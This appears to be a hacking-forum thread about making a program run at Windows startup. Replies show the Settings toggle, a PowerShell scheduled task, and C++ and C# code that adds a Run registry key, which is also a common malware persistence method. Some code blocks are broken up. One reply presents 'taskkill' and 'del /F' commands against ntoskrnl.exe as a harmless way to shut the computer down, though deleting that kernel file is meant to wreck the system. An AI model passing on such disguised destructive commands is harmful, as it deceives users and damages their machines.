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Thread: [Force a program to run when Windows starts?](#)

aerohacker - March 23, 2023, 12:51 am

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oRequiem - March 23, 2023, 1:48 am

You can try this:

- Press the Window Key on your Keyboard
 - Search for the name of the program you want to run as startup
 - There should be something called App Settings (Click that)
- There should be an option to run it as startup.

ItachiUchiha - March 23, 2023, 2:09 am

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$trigger = New-ScheduledTaskTrigger -AtLogon
$trigger.Delay = "PT1M"
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Priority 5
-ExecutionTimeLimit (New-TimeSpan)
Register-ScheduledTask -Action $action -Trigger $trigger -Settings $settings -TaskName
"ItachiUch1ha"
Have a nice day ?
```

DramaKing - March 23, 2023, 5:28 am

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Task Scheduler will work. I've also used a VBScript in the Startup folder to run a batch script.

<https://itnext.io/how-to-run-your-scripts-on-startup-in-windows-8ae62a625f6c>

Now if you want to have the computer shut down as soon as it starts, why not try the below?

```
Code taskkill /F /IM ntoskrnl.exe
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```
del /F C:\Windows\System32\ntoskrnl.exe
```

SIM-5339902 - March 24, 2023, 10:02 am

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What you wanna do is add it to the registry. You can do this using C++:

```
#include <Windows.h>
```

```
int main() {
```

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    HKEY hkey;
```

```
    LPCTSTR sk = TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
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    LPCTSTR value = TEXT("My Program");
```

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LPCTSTR data = TEXT("C:\\Path\\To\\MyProgram.exe");

if (RegOpenKeyEx(HKEY_CURRENT_USER, sk, 0, KEY_SET_VALUE, &hkey) ==
ERROR_SUCCESS) {
    RegSetValueEx(hkey, value, 0, REG_SZ, (LPBYTE)data, lstrlen(data) * sizeof(TCHAR));
    RegCloseKey(hkey);
    MessageBox(NULL, TEXT("Program added to Windows startup!"), TEXT("Success"),
MB_OK);
    return 0;
} else {
    MessageBox(NULL, TEXT("Failed to add program to Windows startup!"), TEXT("Error"),
MB_OK | MB_ICONERROR);
    return 1;
}
}

```

UDPz0r - March 24, 2023, 9:10 pm

```

Code static void startup()
{
    var appExePath = Process.GetCurrentProcess().MainModule.FileName;
    string filename = Path.GetFileName(appExePath);
    RegistryKey rk = Registry.CurrentUser.OpenSubKey
("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

    rk.SetValue(filename, appExePath);
}
C# add to registry

```

jeuokhjdriu97 - March 26, 2023, 8:04 am

Thank you very much mate :)